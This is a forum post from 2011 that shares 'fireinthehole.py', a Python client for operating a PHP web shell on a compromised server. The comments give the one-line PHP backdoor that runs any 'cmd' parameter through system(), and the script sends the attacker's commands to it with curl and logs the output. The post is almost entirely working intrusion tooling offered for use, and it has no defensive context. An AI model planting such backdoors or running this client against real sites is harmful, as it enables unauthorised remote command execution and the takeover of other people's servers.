| bleu moon | 07-04-2011 07:21 AM |
Interactive HTTP GET and POST Shell
ßæÏ:
#!/usr/bin/python
#
# Malformation's Interactive HTTP GET and POST Shell -
fireinthehole.py
#
# Upload something like this to a php file:
# <?php if (isset($_POST["cmd"])) { system($_POST["cmd"]); } ?>
# <?php if (isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>
#
# Kisses go to .aware, OTW, STS, darkc0de, str0ke and some Aussies
# Please don't strip the credits out if you modify or redistribute.
import sys, os, time
print '''
Malformation's Interactive HTTP GET and POST Shell
Version - 1.0.0a
Tries to maintain current working directory when you use 'cd'.
Usage:
\tEnter the host => hacked.com/hacked.php
\tEnter the POST variable => cmd
\thacked.com/hacked.php# ls -la
\ttotal 12880
\tdrwxr-xr-x 2 web web 4096 2009-11-03 11:54 .
\tdrwxr-xr-x 15 root root 4096 2009-10-08 13:37 ..
\t-rw-r--r-- 1 web web 481 2009-11-02 18:58 hacked.php
\thacked.com/hacked.php# .
\tBye.
'''
# # # # # Configuration # # # # # #
# 0 to turn off curl verbosity #
debug = 1 #
# # # # # # # # # # # # # # # # # #
write = 0
curl_array = ["/bin/", "/usr/bin/", "/usr/sbin/"]
curl_dirs = ""
count = 0
finalcommand = ""
dir_array = []
for i in range(0,len(curl_array)):
if (os.path.exists(curl_array[i] + "curl")):
count = count + 1
curl_dirs = curl_dirs + curl_array[i] + " "
if (count == 0):
print "Couldn't find curl. Tried looking in " + curl_dirs
sys.exit(0)
try:
if (os.path.exists("fireinthehole.txt")):
file = open("fireinthehole.txt","a")
else:
file = open("fireinthehole.txt","w")
print "Output will be saved to fireinthehole.txt"
write = 1
except IOError:
print "Directory not writable, output will not be saved."
try:
host = raw_input("Enter the host => ")
method = raw_input("GET/POST => ")
if (method == "GET"):
myvar = raw_input("Enter the GET variable => ")
elif (method == "POST"):
myvar = raw_input("Enter the POST variable => ")
else:
sys.exit(0)
while True:
mycommand = raw_input(host + "# ")
finalcommand = ""
if (mycommand == "."):
print "Bye."
sys.exit(0)
mycommand = mycommand + "; "
if (mycommand[0] + mycommand[1] + mycommand[2] == "cd "):
dir_array.insert(len(dir_array) + 1, mycommand)
if (method == "GET"):
string = "curl -s \"" + host + "?" + myvar + "=" + mycommand +
"\""
else:
string = "curl -s -d \"" + myvar + "=" + mycommand + "\" " +
host
if (debug == 1):
print string + ":\n"
continue
if (len(dir_array) != 0):
for j in range(0,len(dir_array)):
finalcommand = finalcommand + dir_array[j]
finalcommand = finalcommand + mycommand
if (finalcommand != ""):
mycommand = finalcommand
if (method == "GET"):
string = "curl -s \"" + host + "?" + myvar + "=" + mycommand +
"\""
else:
string = "curl -s -d \"" + myvar + "=" + mycommand + "\" " + host
if (debug == 1):
print string + ":\n"
command = os.popen(string,"r")
if (write == 1):
file.write(host + "# " + mycommand + "\n")
while(1):
line = command.readline()
line = line.strip()
if line:
print line
if (write == 1):
file.write(line + "\n")
else:
break
except KeyboardInterrupt:
print "\nBye."
sys.exit(0)
except:
print "Unhandled exception"
sys.exit(0)
| 